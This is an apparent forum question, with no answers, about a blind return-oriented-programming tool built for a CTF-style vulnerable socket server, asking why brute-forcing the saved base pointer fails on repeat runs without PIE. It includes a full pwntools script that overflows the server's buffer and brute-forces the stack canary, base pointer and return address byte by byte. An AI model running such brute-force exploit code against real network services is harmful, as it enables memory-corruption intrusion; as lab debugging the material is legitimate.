CTF - PIE and non PIE infected binary, base-pointer, instruction pointer values

31 Views Asked by At

I am working on a tool like Bropper from github, which is based on blind-return-oriented programming. This tool can send data to a VulnSocket server and checks if the server has crashed or not and can reveal information about the program itself.

This code snippet works when ASLR is enabled and the VulnSocket server has been compiled with PIE.

If it has not been compiled with PIE and ASLR is disabled. The tool is only able to force the stack canary, base pointer and command pointer once. When I run the Python script again, the bruteforce method fails because it is no longer able to find the correct byte from 0 to 255 in hexadecimal notation. I have to restart the VulnSocket server, then it only runs correctly once.

Can someone explain to me what has happened here. It seems that the stack canary is bruteforced correctly, but fails at the base pointer. The first 3 bytes of the base pointer are different from the first try, how can this happen.

With PIE and ASLR on it works fine.

#!/usr/bin/env python3

import argparse
import sys

from capstone import *
from pwn import *

from elftools.elf.elffile import ELFFile
from elftools.elf.sections import Section
from pathlib import Path
from rgbprint import rgbprint, Color
from typing import Any, Generator, NoReturn, Type

#

BASE_DIR      = Path(__file__).resolve().parent

PROGRAM_PATH  = BASE_DIR / './TCPSocketServer_64Bit'
DEBUG_FILE    = BASE_DIR / './debug.txt'

REMOTE_HOST   = '127.0.0.1'
REMOTE_PORT   = '10001'

OFFSET        = 'A' * 136
WAIT          = 'Hello, client.'
EXPECTED      = 'Password is wrong.'
EXPECTED_STOP = 'Password is correct.'

global STOP
STOP: bool = False

#
#
#

def write_to_debug_file(file, data) -> None:
    try:
        with open(file, 'a+') as debug_file:
            debug_file.write(data)
    except Exception as error:
        raise Exception('write_to_debug_file() - ' + str(error))

#

class ELFRemoteData():
    _er_host: str
    _er_port: str
    _er_offset: bytes
    _er_wait: bytes
    _er_expected: bytes
    _er_expected_stop: bytes
    _er_stack_canary: bytes = b''
    _er_base_pointer: bytes = b''
    _er_instruction_pointer: bytes = b''
    _er_init_section_start_address: bytes = b''
    _er_elf_base_address: bytes = b''
    _er_ret_gadget: bytes = b''
    _er_rdi_register_gadget: bytes = b''
    _er_rsi_register_gadget: bytes = b''


    def _er_send(self, payload: bytes, expected: bytes) -> bytes:
        global STOP
        if not expected:
            expected = self._er_expected_stop
        connection = remote(self._er_host, self._er_port)
        result = b''
        try:
            if STOP == True:
                print('BRUTEFORCE ATTACK CRASHED!')
                sys.exit(1)
            connection.recvuntil(self._er_wait, timeout=1)
            connection.send(payload)
            result = connection.recvuntil(expected, timeout=1)
            connection.close()
        except EOFError:
            connection.close()
        except PwnlibException as error:
            connection.close()
            raise Exception('ELFRemoteData / _er_send() - ' + str(error))
        except Exception as error:
            connection.close()
            raise Exception('ELFRemoteData / _er_send() - ' + str(error))
        return result


    def _er_payload(self, extend_payload: list, expected: bytes) -> bytes:
        payload  = b''
        payload += self._er_offset
        payload += self._er_stack_canary
        payload += self._er_base_pointer if self._er_stack_canary != b'' else b''
        payload += b''.join(extend_payload)
        return self._er_send(payload=payload, expected=expected)


    def _er_bruteforce_stack(self, logging_text: str) -> bytes:
        global STOP
        context.log_level = 'info'
        p = log.progress(f'BRUTEFORCE - {logging_text} - 8 BYTES')
        stack = b''
        z = 1
        while z <= 8:
            y = 0
            while y <= 255:
                current_byte = y.to_bytes(1, sys.byteorder)
                context.log_level = 'critical'
                result = self._er_payload(extend_payload=[stack, current_byte], expected=self._er_expected)
                context.log_level = 'info'
                if result in self._er_expected in result:
                    stack += current_byte
                    log.info(f'{str(z)}. BYTE')
                    break
                if y == 255:
                    print(stack)
                    STOP = True
                    log.info(f'{logging_text}: FAILED')
                y += 1
            z += 1
        p.success('')
        print(stack)
        log.info(f'{logging_text}: ' + hex(u64(stack)))
        return stack


    def _er_bruteforce_stack_canary(self, logging_text: str) -> str:
        self._er_stack_canary = self._er_bruteforce_stack(logging_text=logging_text)
        stack_canary = hex(u64(self._er_stack_canary))
        write_to_debug_file(file=self._debug_file, data=f'{logging_text}: ' + stack_canary + '\n')


    def _er_bruteforce_base_pointer(self, logging_text: str) -> str:
        self._er_base_pointer = self._er_bruteforce_stack(logging_text=logging_text)
        base_pointer = hex(u64(self._er_base_pointer))
        write_to_debug_file(file=self._debug_file, data=f'{logging_text}: ' + base_pointer + '\n')


    def _er_bruteforce_instruction_pointer(self, logging_text: str) -> str:
        self._er_instruction_pointer = self._er_bruteforce_stack(logging_text=logging_text)
        instruction_pointer = hex(u64(self._er_instruction_pointer))
        write_to_debug_file(file=self._debug_file, data=f'{logging_text}: ' + instruction_pointer + '\n')

#

class x86aslrrunner(ELFRemoteData):
    _program_path: str
    _debug_file: str
    _memory_virtual: str


    def __init__(self, args: Type[argparse.Namespace]) -> NoReturn:
        self._program_path = args.program_path
        self._debug_file = args.debug_file
        self._memory_virtual = args.memory_virtual

        self._er_host = args.host
        self._er_port = args.port

        self._er_offset = args.offset.encode()
        self._er_wait = args.wait.encode()
        self._er_expected = args.expected.encode()
        self._er_expected_stop = args.expected_stop.encode()

        if args.stack_canary:
            self._er_stack_canary = p64(int(args.stack_canary, 0))
        if args.base_pointer:
            self._er_base_pointer = p64(int(args.base_pointer, 0))
        if args.instruction_pointer:
            self._er_instruction_pointer = p64(int(args.instruction_pointer, 0))

        super().__init__()


    def run(self) -> NoReturn:
        write_to_debug_file(file=self._debug_file, data='START: ' + str(self._program_path) + '\n')
        write_to_debug_file(file=self._debug_file, data='REMOTE HOST: ' + str(self._er_host) + '\n')
        write_to_debug_file(file=self._debug_file, data='REMOTE PORT: ' + str(self._er_port) + '\n')

        if self._er_stack_canary == b'':
            self._er_bruteforce_stack_canary(logging_text='STACK CANARY')
        if self._er_base_pointer == b'':
            self._er_bruteforce_base_pointer(logging_text='BASE POINTER')
        if self._er_instruction_pointer == b'':
            self._er_bruteforce_instruction_pointer(logging_text='INSTRUCTION POINTER')

        write_to_debug_file(file=self._debug_file, data='\n')

#

def main():
    parser = argparse.ArgumentParser(description='x86aslrrunner / Linux / x86 / 32Bit / 64Bit')
    parser.add_argument('--program-path', default=PROGRAM_PATH, type=str)
    parser.add_argument('--debug-file', default=DEBUG_FILE, type=str)
    parser.add_argument('--memory-virtual', action=argparse.BooleanOptionalAction, default=True, type=bool)
    parser.add_argument('--host', default=REMOTE_HOST, type=str)
    parser.add_argument('--port', default=REMOTE_PORT, type=str)
    parser.add_argument('--offset', default=OFFSET, type=str)
    parser.add_argument('--wait', default=WAIT, type=str)
    parser.add_argument('--expected', default=EXPECTED, type=str)
    parser.add_argument('--expected-stop', default=EXPECTED_STOP, type=str)
    parser.add_argument('--stack-canary', type=str)
    parser.add_argument('--base-pointer', type=str)
    parser.add_argument('--instruction-pointer', type=str)
    args = parser.parse_args()

    cli_tool = x86aslrrunner(args)
    cli_tool.run()

#

if __name__ == '__main__':
    main()
0

There are 0 best solutions below